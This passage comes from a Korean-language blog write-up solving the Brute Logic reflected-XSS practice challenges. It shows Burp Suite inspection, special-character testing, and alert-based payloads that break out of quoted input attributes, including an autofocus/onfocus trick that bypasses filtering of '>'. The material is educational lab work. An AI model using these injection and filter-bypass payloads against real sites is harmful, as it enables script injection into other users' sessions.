&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 56px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 56px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 56px;&quot;&gt;&lt;b&gt;dddd&quot;&amp;gt;&amp;lt;script&amp;gt;alert('1');&amp;lt;/script&amp;gt;&amp;lt;&quot;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;* input 태그의 value 속성의 값이 더블 쿼터로 감싸져있기 때문에 이를 주의하여 input 태그를 닫고 스크립트를 삽입해야 합니다.&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1340&quot; data-origin-height=&quot;573&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxuSAc/dJMcacu0K2j/IK33yJKeWGEwPGnKJAaWPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxuSAc/dJMcacu0K2j/IK33yJKeWGEwPGnKJAaWPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxuSAc/dJMcacu0K2j/IK33yJKeWGEwPGnKJAaWPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxuSAc%2FdJMcacu0K2j%2FIK33yJKeWGEwPGnKJAaWPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;363&quot; data-origin-width=&quot;1340&quot; data-origin-height=&quot;573&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bizvsT/dJMcagYs5M3/tvHbhvwU9P7KJ8zSYVJICk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bizvsT/dJMcagYs5M3/tvHbhvwU9P7KJ8zSYVJICk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bizvsT/dJMcagYs5M3/tvHbhvwU9P7KJ8zSYVJICk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbizvsT%2FdJMcagYs5M3%2FtvHbhvwU9P7KJ8zSYVJICk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;426&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cibj6u/dJMcai20D7Y/FuNgy4InYpndzFLAG8Yu8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cibj6u/dJMcai20D7Y/FuNgy4InYpndzFLAG8Yu8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cibj6u/dJMcai20D7Y/FuNgy4InYpndzFLAG8Yu8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcibj6u%2FdJMcai20D7Y%2FFuNgy4InYpndzFLAG8Yu8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;413&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 -&lt;span&gt;&amp;nbsp;&lt;/span&gt;https://x55.is/brutelogic/xss.php?b2=test&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하여 b2 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 input 태그 value 속성 값에 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1335&quot; data-origin-height=&quot;574&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uSOlY/dJMcafFg6lz/36HsEZY6f7T7AluWxDkU30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uSOlY/dJMcafFg6lz/36HsEZY6f7T7AluWxDkU30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uSOlY/dJMcafFg6lz/36HsEZY6f7T7AluWxDkU30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuSOlY%2FdJMcafFg6lz%2F36HsEZY6f7T7AluWxDkU30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;365&quot; data-origin-width=&quot;1335&quot; data-origin-height=&quot;574&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;b2 파라미터 값에&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt; 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 특수문자 전부 별다른 필터링이 적용되지 않기 때문에 HTML과 Javascript를 이용하여 스크립트를 삽입할 수 있다는 것을 의미합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JiKdF/dJMcajgyomp/P3XTQQXpxt2FBqjL8K7BP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JiKdF/dJMcajgyomp/P3XTQQXpxt2FBqjL8K7BP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JiKdF/dJMcajgyomp/P3XTQQXpxt2FBqjL8K7BP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJiKdF%2FdJMcajgyomp%2FP3XTQQXpxt2FBqjL8K7BP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;367&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이전 응답 결과를 확인해 보면 특수문자를 이용해서 input 태그를 닫을 수 있음을 알 수 있습니다. 문법에 맞춰서 input 태그를 강제로 닫고 스크립트(페이로드)를 삽입합니다. 응답 결과를 보면 스크립트가 삽입된 것을 볼 수 있습니다&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;dddd'&amp;gt;&amp;lt;script&amp;gt;alert('1');&amp;lt;/script&amp;gt;&amp;lt;'&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;* input 태그의 value 속성의 값이 싱글 쿼터로 감싸져있기 때문에 이를 주의하여 input 태그를 닫고 스크립트를 삽입해야 합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1337&quot; data-origin-height=&quot;566&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OO8F4/dJMcaaKJgAj/Sr3KqZHKfsjfDcVBc68eL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OO8F4/dJMcaaKJgAj/Sr3KqZHKfsjfDcVBc68eL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OO8F4/dJMcaaKJgAj/Sr3KqZHKfsjfDcVBc68eL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOO8F4%2FdJMcaaKJgAj%2FSr3KqZHKfsjfDcVBc68eL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;360&quot; data-origin-width=&quot;1337&quot; data-origin-height=&quot;566&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;665&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n0f78/dJMcabCRwMk/B5VPJnc6zkOp8fKBN7zc7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n0f78/dJMcabCRwMk/B5VPJnc6zkOp8fKBN7zc7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n0f78/dJMcabCRwMk/B5VPJnc6zkOp8fKBN7zc7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn0f78%2FdJMcabCRwMk%2FB5VPJnc6zkOp8fKBN7zc7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;423&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;665&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;669&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tpMl7/dJMcadUWlUL/L8K2CwuSvT7RVicnKuf9l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tpMl7/dJMcadUWlUL/L8K2CwuSvT7RVicnKuf9l0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tpMl7/dJMcadUWlUL/L8K2CwuSvT7RVicnKuf9l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtpMl7%2FdJMcadUWlUL%2FL8K2CwuSvT7RVicnKuf9l0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;425&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;669&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 -&lt;span&gt;&amp;nbsp;&lt;/span&gt;https://x55.is/brutelogic/xss.php?b3=test&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하여 b3 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 input 태그 value 속성 값에 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VUnsM/dJMcaiPt5n0/QGiPMO8oVfrqy8QKgdWFHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VUnsM/dJMcaiPt5n0/QGiPMO8oVfrqy8QKgdWFHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VUnsM/dJMcaiPt5n0/QGiPMO8oVfrqy8QKgdWFHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVUnsM%2FdJMcaiPt5n0%2FQGiPMO8oVfrqy8QKgdWFHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;367&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;b3 파라미터 값에&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt; 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;text-align: start; background-color: #dddddd;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;기호가 필터링 되고 있는 것을 볼 수 있으며 HTML 태그를 닫는 용도로 &amp;gt; 기호를 사용하지 못한다는 것을 알 수 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1331&quot; data-origin-height=&quot;563&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zDww0/dJMcagYtaLw/Oke4DkKkKiM0Gi4yJ7TFCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zDww0/dJMcagYtaLw/Oke4DkKkKiM0Gi4yJ7TFCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zDww0/dJMcagYtaLw/Oke4DkKkKiM0Gi4yJ7TFCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzDww0%2FdJMcagYtaLw%2FOke4DkKkKiM0Gi4yJ7TFCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;360&quot; data-origin-width=&quot;1331&quot; data-origin-height=&quot;563&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;필터링으로 인해 input 태그를 강제로 닫고 스크립트 삽입이 불가능하므로 이를 우회해야 합니다. 우회 방법은 여러 가지 있지만 해당 문제에서는 &lt;b&gt;onfocus + autofocus&lt;/b&gt;를 이용하여 우회를 시도합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 217px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 217px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 217px;&quot;&gt;&lt;b&gt;dddd&quot;+autofocus+onfocus=alert('1')+x=&quot;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;autofocus : 페이지가 로드되면 특정 요소에 자동으로 포커스를 줍니다.&lt;br /&gt;onfocus : 요소가 포커스를 얻으면 실행되는 이벤트 핸들러입니다.&lt;br /&gt;&lt;br /&gt;정리하면 해당 페이로드가 삽입된 URL로 접속하게 된다면 autofocus로 인해 자동으로 포커스를 주고 onfocus에 의해 alert 함수가 실행됩니다. 따라서 별다른 행위를 하지 않아도 바로 스크립트가 실행됩니다.&lt;br /&gt;&lt;br /&gt;+) &lt;b&gt;x=&quot;&lt;/b&gt; 을 해준 이유는 페이로드를 삽입하고 더블쿼터(&quot;)가 하나 남게 되어 문법이 맞지 않게 됩니다. 따라서 문법을 맞춰주기 위해 페이로드에 함께 삽입하여 줍니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo8kWg/dJMcadADIrW/bcKkSQHWbdvKJIPCLR2z31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo8kWg/dJMcadADIrW/bcKkSQHWbdvKJIPCLR2z31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo8kWg/dJMcadADIrW/bcKkSQHWbdvKJIPCLR2z31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo8kWg%2FdJMcadADIrW%2FbcKkSQHWbdvKJIPCLR2z31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;363&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;678&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BJ7eK/dJMcafyu9LI/MJwOeuoz4VztaJnIERjKmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BJ7eK/dJMcafyu9LI/MJwOeuoz4VztaJnIERjKmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BJ7eK/dJMcafyu9LI/MJwOeuoz4VztaJnIERjKmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBJ7eK%2FdJMcafyu9LI%2FMJwOeuoz4VztaJnIERjKmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;431&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;678&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bX2Sd8/dJMcaaDXNuw/ggJlKqeh7AFoEReqtEGh70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bX2Sd8/dJMcaaDXNuw/ggJlKqeh7AFoEReqtEGh70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bX2Sd8/dJMcaaDXNuw/ggJlKqeh7AFoEReqtEGh70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbX2Sd8%2FdJMcaaDXNuw%2FggJlKqeh7AFoEReqtEGh70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;427&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - &lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?b4=test&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하여 b4 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 input 태그 value 속성 값에 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3H9QR/dJMcagYtkOO/Wbw1tdKgEHASQ5D986dJL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3H9QR/dJMcagYtkOO/Wbw1tdKgEHASQ5D986dJL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3H9QR/dJMcagYtkOO/Wbw1tdKgEHASQ5D986dJL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3H9QR%2FdJMcagYtkOO%2FWbw1tdKgEHASQ5D986dJL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;319&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
